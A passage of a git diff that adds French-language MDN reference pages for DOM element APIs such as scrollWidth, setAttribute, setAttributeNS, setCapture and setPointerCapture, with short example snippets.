+  <p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+ </div>
+ <span style="position: absolute; left: -32px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Left</span><span style="position: absolute; left: 170px; top: -24px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Top</span><span style="position: absolute; left: 370px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Right</span><span style="position: absolute; left: 164px; top: 203px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Bottom</span><span style="position: absolute; left: 143px; top: 5px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-top</span><span style="position: absolute; left: 138px; top: 175px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-bottom</span><span style="position: absolute; left: 143px; top: 27px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-top</span><span style="position: absolute; left: 138px; top: 153px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-bottom</span><span class="comment">{{ mediawiki.external('if IE') }}&gt;&lt;span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-left&lt;/span&gt;&lt;span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-left&lt;/span&gt;&lt;span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;padding-left&lt;/span&gt;&lt;span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;"&gt;padding-right&lt;/span&gt;&lt;span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-right&lt;/span&gt;&lt;span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-right&lt;/span&gt;&lt;!{{ mediawiki.external('endif') }}</span></div>
+<p style="margin-top: 270px;"><img alt="Image:scrollTop.png"></p>
+<p>Il n'est pas possible d'avoir une démonstration interactive dans cette référence.</p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p><code>scrollTop</code> fait partie du modèle objet <abbr title="Dynamic HyperText Markup Language">DHTML</abbr> de Microsoft Internet Explorer. Elle ne fait partie d'aucune spécification ou recommandation technique du W3C.</p>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p><code>scrollTop</code> est une propriété du modèle objet <abbr title="Dynamic HyperText Markup Language">DHTML</abbr> provenant de Microsoft Internet Explorer. On l'appelle la distance entre le haut physique d'un élément et son affichage défilant.</p>
+<h3 id="R.C3.A9f.C3.A9rences" name="R.C3.A9f.C3.A9rences">Références</h3>
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/scrolltop.asp?frame=true">
+  <i>
+   scrollTop definition</i>
+  sur MSDN</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">
+  <i>
+   Measuring Element Dimension and Location</i>
+  sur MSDN</a></li>
+</ul>
+<p>{{ languages( { "en": "en/DOM/element.scrollTop", "pl": "pl/DOM/element.scrollTop" } ) }}</p>
diff --git a/files/fr/web/api/element/scrollwidth/index.html b/files/fr/web/api/element/scrollwidth/index.html
new file mode 100644
index 0000000000..92fbdc41e1
--- /dev/null
+++ b/files/fr/web/api/element/scrollwidth/index.html
@@ -0,0 +1,33 @@
+---
+title: element.scrollWidth
+slug: Web/API/Element/scrollWidth
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Element/scrollWidth
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p><b>scrollWidth</b> est une propriété en lecture seule qui renvoie, parmi la largeur en pixels du contenu d'un élément, et la largeur de l'élément, celle qui est la plus grande.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">var <var>xScrollWidth</var> = <var>element</var>.scrollWidth;
+</pre>
+<p><var>xScrollWidth</var> est la largeur du contenu d'<var>element</var> en pixels.</p>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<pre>&lt;div id="aDiv"
+     style="width: 100px; height: 200px; overflow: auto;"
+&gt;-FooBar-FooBar-FooBar&lt;/div&gt;
+&lt;br&gt;
+&lt;input type="button" value="Show scrollWidth"
+       onclick="alert(document.getElementById('aDiv').scrollWidth);"&gt;
+</pre>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>Il n'y a pas de spécification du W3C pour <b>scrollWidth</b>.</p>
+<p>Un brouillon de l'éditeur existe cependant : <a class="external" href="http://dev.w3.org/cvsweb/~checkout~/csswg/cssom/Overview.src.html">Cascading Style Sheets Object Model (CSSOM)</a></p>
+<h3 id="R.C3.A9f.C3.A9rences" name="R.C3.A9f.C3.A9rences">Références</h3>
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/scrollwidth.asp">
+  <i>
+   scrollWidth</i>
+  sur MSDN</a></li>
+</ul>
+<p>{{ languages( { "en": "en/DOM/element.scrollWidth", "pl": "pl/DOM/element.scrollWidth" } ) }}</p>
diff --git a/files/fr/web/api/element/select_event/index.html b/files/fr/web/api/element/select_event/index.html
new file mode 100644
index 0000000000..b816f249bc
--- /dev/null
+++ b/files/fr/web/api/element/select_event/index.html
@@ -0,0 +1,77 @@
+---
+title: select
+slug: Web/API/Element/select_event
+translation_of: Web/API/Element/select_event
+---
+<p>L'évènement <code>select</code> est déclenché quand du texte est sélectionné. L'évènement peut ne pas être disponible pour tous les éléments dans tous les langages. Par exemple, en [<cite><a class="informative" href="http://www.w3.org/TR/DOM-Level-3-Events/#references-HTML5">HTML5</a></cite>], les évènements select ne peuvent être envoyés que sur des éléments <code>input</code> de formulaire et <code>textarea</code>.</p>
+
+<h2 id="Info_générale">Info générale</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-select">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">UIEvent si généré depuis une interface utilisateur, Event sinon.</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Remonte</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">Élément</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par Défault</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">&lt;input id="test" type="text" value="Sélectionnez-moi !" /&gt;
+&lt;script&gt;
+  var elem = document.getElementById('test');
+  elem.addEventListener('select', function() {
+    alert('La sélection a changé !');
+  }, false);
+&lt;/script&gt;</pre>
diff --git a/files/fr/web/api/element/setattribute/index.html b/files/fr/web/api/element/setattribute/index.html
new file mode 100644
index 0000000000..9ba4ac1759
--- /dev/null
+++ b/files/fr/web/api/element/setattribute/index.html
@@ -0,0 +1,84 @@
+---
+title: Element.setAttribute()
+slug: Web/API/Element/setAttribute
+tags:
+  - API
+  - Attributs
+  - DOM
+  - Element
+  - Méthode
+translation_of: Web/API/Element/setAttribute
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Ajoute un nouvel attribut ou change la valeur d'un attribut existant pour l'élément spécifié. Si l'attribut existe déjà, la valeur est mise à jour ; sinon, un nouvel attribut est ajouté avec le nom et la valeur spécifiés.</p>
+
+<p>Pour obtenir la valeur actuelle d'un attribut, utilisez {{domxref("Element.getAttribute", "getAttribute()")}} ; pour supprimer un attribut, appelez {{domxref("Element.removeAttribute", "removeAttribute()")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>Element</em>.setAttribute(<em>name</em>, <em>value</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) spécifiant le nom de l'attribut pour lequel la valeur doit être définie. L'attribut name est automatiquement converti en minuscules quand <code>setAttribute()</code> est appelé sur un élément HTML dans document HTML.</dd>
+ <dt><code>value</code></dt>
+ <dd>une {{domxref("DOMString")}} contenant la valeur à affecter à l'attribut. Toute valeur spécifiée qui n'est pas une chaîne de caractères, est convertie automatiquement en chaîne.</dd>
+</dl>
+
+<p>Les attributs booléens sont considérés être <code>true</code> (<em>vrai</em>) s'ils sont présents sur l'élément, quelle que soit leur valeur réelle ; en règle générale, vous devez spécifier la chaîne vide (<code>""</code>) dans <code>value</code> (certains utilisent le nom de l'attribut, mais ce fonctionnement n'est pas standard). Voir l' {{anch("Exemple", "exemple")}} ce-dessous pour une démonstration pratique.</p>
+
+<p>Puisque la valeur spécifiée est convertie en chaîne, spécifier <code>null</code> ne fait pas nécessairement ce que vous attendez. Au lieu de supprimer l'attribut ou de définir sa valeur comme {{jsxref("null")}} , il définit à la place la valeur de l'attribut avec la chaîne "null". Si vous souhaitez supprimer un attribut, appelez {{domxref("Element.removeAttribute","removeAttribute()")}}.</p>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>InvalidCharacterError</code></dt>
+ <dd>Le nom d'attribut spécifié contient un ou plusieurs caractères qui ne sont pas valides dans les noms d'attribut.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple suivant, <code>setAttribute()</code> est utilisé pour définir des attributs sur un {{HTMLElement("button")}} (<em>bouton</em>).</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button&gt;Hello World&lt;/button&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush:js">var b = document.querySelector("button");
+
+b.setAttribute("name", "helloButton");
+b.setAttribute("disabled", "");</pre>
+
+<p>Ceci démontre 2 choses :</p>
+
+<ul>
+ <li>le premier appel de <code>setAttribute()</code> ci-dessus montre la modification de la valeur de l'attribut <code>name</code> en "helloButton". Vous pouvez le voir en utilisant l'inspecteur de page de votre navigateur (<a href="https://developers.google.com/web/tools/chrome-devtools/inspect-styles">Chrome</a>, <a href="https://docs.microsoft.com/en-us/microsoft-edge/f12-devtools-guide/dom-explorer">Edge</a>, <a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector">Firefox</a>, <a href="https://developer.apple.com/library/content/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Introduction/Introduction.html">Safari</a>).</li>
+ <li>Pour définir la valeur d'un attribut booléen, tel que <code>disabled</code>, vous pouvez spécifier n'importe quelle valeur. Une chaîne vide ou le nom de l'attribut sont des valeurs recommandées. Tout ce qui compte est que si l'attribut est présent, quelle que soit sa valeur réelle, sa valeur est considérée comme <code>true</code> (<em>vraie</em>). L'absence de l'attribut signifie que sa valeur est <code>false</code> (<em>fausse</em>). En définissant la valeur de l'attribut <code>disabled</code> sur la chaîne vide (""), nous définissons <code>disabled</code> sur <code>true</code>, ce qui entraîne la désactivation du bouton.</li>
+</ul>
+
+<p>{{ EmbedLiveSample('Example', '300', '50') }}</p>
+
+<p>{{DOMAttributeMethods}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68F082">DOM Level 2 Core : setAttribute</a> — <small><a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2/core/core.html#ID-F68F082">traduction en français</a> (non normative)</small></li>
+ <li><a class="external external-icon" href="http://www.whatwg.org/specs/web-apps/current-work/#apis-in-html-documents" title="http://www.whatwg.org/specs/web-apps/current-work/#apis-in-html-documents">HTML5 : API dans les documents HTML</a></li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<h3 id="Gecko_notes">Gecko notes</h3>
+
+<p>L'utilisation de <code>setAttribute()</code> pour modifier certains attributs, en particulier la valeur dans XUL, fonctionne de façon incohérente, car l'attribut spécifie la valeur par défaut. Pour accéder ou modifier la valeur courante, vous devez utiliser les propriétés. Par exemple, utilisez <code>Element.value</code> à la place de <code>Element.setAttribute()</code>.</p>
diff --git a/files/fr/web/api/element/setattributenode/index.html b/files/fr/web/api/element/setattributenode/index.html
new file mode 100644
index 0000000000..efee5a67fe
--- /dev/null
+++ b/files/fr/web/api/element/setattributenode/index.html
@@ -0,0 +1,49 @@
+---
+title: element.setAttributeNode
+slug: Web/API/Element/setAttributeNode
+tags:
+  - API
+  - DOM
+  - Element
+  - Méthode
+  - Reference
+translation_of: Web/API/Element/setAttributeNode
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code>setAttributeNode</code><code>()</code>  ajoute un nouveau nœud <code>Attr</code> à l'élément courant.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval line-numbers  language-html"><code class="language-html">var replacedAttr = element.setAttributeNode(attribute);</code></pre>
+
+<ul>
+ <li><code>attribute</code> est le nœud <code>Attr</code> à définir sur l'élément.</li>
+ <li><code>replacedAttr</code> est le nœud d'attribut remplacé, renvoyé par la fonction, s'il y en avait un.</li>
+</ul>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre>// &lt;div id="one" align="left"&gt;one&lt;/div&gt;
+// &lt;div id="two"&gt;two&lt;/div&gt;
+var d1 = document.getElementById("one");
+var d2 = document.getElementById("two");
+var a = d1.getAttributeNode("align");
+d2.setAttributeNode(a);
+alert(d2.attributes[1].value)
+// retourne: `left'
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Si l'attribut nommé existe déjà sur l'élément, cet attribut est remplacé par le nouveau et le nœud remplacé est renvoyé.</p>
+
+<p>Cette méthode est peu utilisée. On lui préfère souvent  {{domxref("Element.setAttribute()")}}  pour modifier la valeur d'un attribut d'élément.</p>
+
+<p>{{DOMAttributeMethods()}}</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-887236154">DOM Level 2 Core : setAttributeNode</a> — <small><a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-887236154">traduction en français</a> (non normative</small> (Introduit dans <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-setAttributeNode">DOM Level 1 Core</a>)</li>
+</ul>
diff --git a/files/fr/web/api/element/setattributenodens/index.html b/files/fr/web/api/element/setattributenodens/index.html
new file mode 100644
index 0000000000..6e62b29873
--- /dev/null
+++ b/files/fr/web/api/element/setattributenodens/index.html
@@ -0,0 +1,53 @@
+---
+title: element.setAttributeNodeNS
+slug: Web/API/Element/setAttributeNodeNS
+tags:
+  - API
+  - DOM
+  - Element
+  - Méthodes
+translation_of: Web/API/Element/setAttributeNodeNS
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code>setAttributeNodeNS</code> ajoute un nouveau nœud attribut avec l'espace de noms et le nom spécifiés.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval"><em>replacedAttr</em> = element.setAttributeNodeNS(<em>attributeNode</em>)
+</pre>
+
+<dl>
+ <dt><code>replacedAttr</code></dt>
+ <dd>Le nœud attribut remplacé, si applicable, renvoyé par cette fonction.</dd>
+ <dt><code>attributeNode</code></dt>
+ <dd>Un nœud <code>Attr</code>.</dd>
+</dl>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre>// &lt;div id="one" special-align="utterleft"&gt;one&lt;/div&gt;
+// &lt;div id="two"&gt;two&lt;/div&gt;
+
+var myns = "http://www.mozilla.org/ns/specialspace";
+var d1 = document.getElementById("one");
+var d2 = document.getElementById("two");
+var a = d1.getAttributeNodeNS(myns, "special-align");
+d2.setAttributeNodeNS(a);
+
+alert(d2.attributes[1].value) // renvoie : "utterleft"
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Si l'attribut spécifié existe déjà sur l'élément, cet attribut est remplacé par le nouveau et l'ancien est renvoyé.</p>
+
+<p><span id="result_box" lang="fr"><span>Notez que si vous essayez de définir sans cloner le noeud, Mozilla donne une erreur "Attribut déjà utilisé" NS_ERROR_DOM_INUSE_ATTRIBUTE_ERR, car le DOM nécessite que le clonage d'<code>Attr</code> soit réutilisé (contrairement aux autres Noeuds qui peuvent être déplacés).</span></span></p>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElSetAtNodeNS">DOM Level 2 Core: setAttributeNodeNS (en)</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-ElSetAtNodeNS">traduction en français</a> (non normative)</small></li>
+</ul>
diff --git a/files/fr/web/api/element/setattributens/index.html b/files/fr/web/api/element/setattributens/index.html
new file mode 100644
index 0000000000..d5b1699a1b
--- /dev/null
+++ b/files/fr/web/api/element/setattributens/index.html
@@ -0,0 +1,45 @@
+---
+title: element.setAttributeNS
+slug: Web/API/Element/setAttributeNS
+tags:
+  - API
+  - DOM
+  - Element
+  - Méthodes
+translation_of: Web/API/Element/setAttributeNS
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code>setAttributeNS</code> ajoute un nouvel attribut ou modifie la valeur d'un attribut avec un espace de noms et un nom donnés.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval line-numbers  language-html"><code class="language-html">element.setAttributeNS(
+namespace,
+name,
+value)</code></pre>
+
+<ul>
+ <li><code>namespace</code> est une chaîne spécifiant l'espace de noms de l'attribut.</li>
+ <li><code>name</code> est une chaîne identifiant l'attribut par son nom qualifié ; <span id="result_box" lang="fr"><span>c'est-à-dire un préfixe d'espace de noms suivi d'un deux-points suivi d'un nom local.</span></span></li>
+ <li><code>value</code> est la valeur chaîne désirée pour le nouvel attribut.</li>
+</ul>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="eval">var d = document.getElementById("d1");
+d.setAttributeNS("<span class="nowiki">http://www.mozilla.org/ns/specialspace</span>", "align", "center");
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<p><code>setAttributeNS</code>  <span id="result_box" lang="fr"><span>est la seule méthode pour les attributs d'espace nom qui attend le nom qualifié complet, c'est-à-dire</span></span> <code>"namespace:localname"</code>.</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElSetAttrNS">DOM Level 2 Core: setAttributeNS (en)</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-ElSetAttrNS">traduction en français</a> (non normative)</small></li>
+ <li><a href="https://www.w3.org/TR/DOM-Level-2-Core/glossary.html#dt-qualifiedname">DOM-Level-2-Core: glossary qualified name</a></li>
+</ul>
diff --git a/files/fr/web/api/element/setcapture/index.html b/files/fr/web/api/element/setcapture/index.html
new file mode 100644
index 0000000000..28c60fdf20
--- /dev/null
+++ b/files/fr/web/api/element/setcapture/index.html
@@ -0,0 +1,87 @@
+---
+title: Element.setCapture()
+slug: Web/API/Element/setCapture
+tags:
+  - API
+  - Capture
+  - DOM
+  - Elements
+  - Méthodes
+  - Souris
+translation_of: Web/API/Element/setCapture
+---
+<p>{{ APIRef("DOM") }}{{ gecko_minversion_header("2.0") }}</p>
+
+<p>Appelez cette méthode pendant la gestion d'un évènement de la souris pour recibler tous les évènements de la souris sur cet élément jusqu'à ce que le bouton de la souris soit relâché ou que soit appelée {{ domxref("document.releaseCapture()") }}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">element.setCapture(<em>retargetToElement</em>);
+</pre>
+
+<dl>
+ <dt><code>retargetToElement</code></dt>
+ <dd>Si la valeur est <code>true</code> (<em>vrai</em>), tous les évènements sont ciblés directement vers cet élément ; si elle est <code>false</code> (<em>faux</em>), les évènements peuvent aussi être déclenchés sur les descendants de cet élément.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, les coordonnées en cours de la souris sont dessinées pendant que vous passez la souris après un clic et un appui sur un élément.</p>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Mouse Capture Example&lt;/title&gt;
+  &lt;style type="text/css"&gt;
+    #myButton {
+      border: solid black 1px;
+      color: black;
+      padding: 2px;
+      box-shadow: black 2px 2px;
+    }
+  &lt;/style&gt;
+
+  &lt;script type="text/javascript"&gt;
+    function init() {
+      var btn = document.getElementById("myButton");
+      btn.addEventListener("mousedown", mouseDown, false);
+      btn.addEventListener("mouseup", mouseUp, false);
+    }
+
+    function mouseDown(e) {
+      //e.target.setCapture(); // cette méthode doit être définie
+      e.target.addEventListener("mousemove", mouseMoved, false);
+    }
+
+    function mouseUp(e) {
+      e.target.removeEventListener("mousemove", mouseMoved, false);
+    }
+
+    function mouseMoved(e) {
+      var output = document.getElementById("output");
+      output.innerHTML = "Position: " + e.clientX + ", " + e.clientY;
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="init()"&gt;
+  &lt;p&gt;This is an example of how to use mouse capture on elements in Gecko 2.0.&lt;/p&gt;
+  &lt;p&gt;&lt;a id="myButton" href="#"&gt;Test Me&lt;/a&gt;&lt;/p&gt;
+  &lt;div id="output"&gt;No events yet&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><a href="/samples/domref/mousecapture.html">Voir l'exemple sur une page</a></p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>L'élément ne peut pas être entièrement déplacé vers le haut ou vers le bas, selon la disposition des autres éléments.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Basé sur l'implémentation Internet Explorer.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("document.releaseCapture()") }}</li>
+</ul>
diff --git a/files/fr/web/api/element/setpointercapture/index.html b/files/fr/web/api/element/setpointercapture/index.html
new file mode 100644
index 0000000000..76626ad6a4
--- /dev/null
+++ b/files/fr/web/api/element/setpointercapture/index.html
@@ -0,0 +1,144 @@
+---
+title: Element.setPointerCapture()
+slug: Web/API/Element/setPointerCapture
+tags:
+  - API
+  - Capture
+  - DOM
+  - Element
+  - Méthodes
+  - Pointeur
+translation_of: Web/API/Element/setPointerCapture
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La <em>Pointer capture</em> (<em>capture de pointeur</em>) permet de re-cibler des événements pour un événement de pointeur particulier ({{domxref ("PointerEvent")}}) vers un élément particulier au lieu de la cible normale à l'emplacement d'un pointeur. Cela peut être utilisé pour garantir qu'un élément continue à recevoir des événements de pointeur même si le contact du périphérique de pointeur se déplace hors de l'élément (par exemple en faisant défiler).</p>
+
+<p><strong><code>setPointerCapture()</code></strong> est la méthode de l'interface {{domxref("Element")}} utilisée pour désigner un élément spécifique comme <em>cible de capture</em> de{{domxref("PointerEvent", "évènements de pointeur")}} futurs. Les évènements subséquents du pointeur seront reciblés sur l'élément jusqu'à la libération de la capture (via {{domxref("Element.releasePointerCapture")}}).</p>
+
+<div class="note">Lorque la capture du pointeur est définie, les évènements {{domxref("PointerEvent.pointerover","pointerover")}}, {{domxref("PointerEvent.pointerout","pointerout")}} {{domxref("PointerEvent.pointerenter","pointerenter")}} et {{domxref("PointerEvent.pointerleave","pointerleave")}} sont uniquement générés lors du franchissement de la limite de l'élément dont la capture est définie, car les autres éléments ne peuvent plus être ciblés par le pointeur. Cela a pour effet de supprimer ces événements sur tous les autres éléments.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">targetElement.<em>setPointerCapture</em>(pointerId);
+</pre>
+
+<h3 id="Arguments">Arguments</h3>
+
+<dl>
+ <dt><em>pointerId</em></dt>
+ <dd>L'{{domxref("PointerEvent.pointerId","identifiant")}} pour un {{domxref("PointerEvent","évènement de pointeur")}}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Cette méthode renvoie <code>void</code> et lance une {{domxref("DOMException")}} nommée <code>InvalidPointerId</code> si <code>pointerId</code> ne correspond à aucun des pointeurs actifs.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">&lt;html&gt;
+&lt;script&gt;
+function downHandler(ev) {
+ var el=document.getElementById("target");
+ //L'élément cible  ('target') recevra/capturera d'autres évènements
+ el.setPointerCapture(ev.pointerId);
+}
+function init() {
+ var el=document.getElementById("target");
+ el.onpointerdown = downHandler;
+}
+&lt;/script&gt;
+&lt;body onload="init();"&gt;
+&lt;div id="target"&gt; Touch me ... &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events 2','#widl-Element-setPointerCapture-void-long-pointerId', 'setPointerCapture')}}</td>
+   <td>{{Spec2('Pointer Events 2')}}</td>
+   <td>Version non stable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events', '#widl-Element-setPointerCapture-void-long-pointerId', 'setPointerCapture')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("35")}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop(59)}}</td>
+   <td>10 {{property_prefix("-ms")}}<br>
+    11</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
